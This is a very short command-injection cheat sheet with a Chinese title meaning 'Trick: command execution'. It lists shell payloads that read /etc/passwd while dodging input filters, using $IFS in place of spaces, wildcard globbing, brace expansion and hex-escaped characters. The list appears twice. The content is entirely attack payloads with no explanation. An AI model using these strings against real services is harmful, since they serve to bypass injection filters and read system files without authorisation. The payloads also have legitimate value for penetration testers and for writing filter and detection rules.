【Trick】命令执行
- cat /etc/passwd
cat$IFS/etc/passwd
/???/c?t /?t?/p?????
{cat,/etc/passwd}
{cat,/?t?/p?????}
{$'\x63'\a$'\x74',/e*/p*$'\x64'}
cat$IFS/etc/passwd
/???/c?t /?t?/p?????
{cat,/etc/passwd}
{cat,/?t?/p?????}
{$'\x63'\a$'\x74',/e*/p*$'\x64'}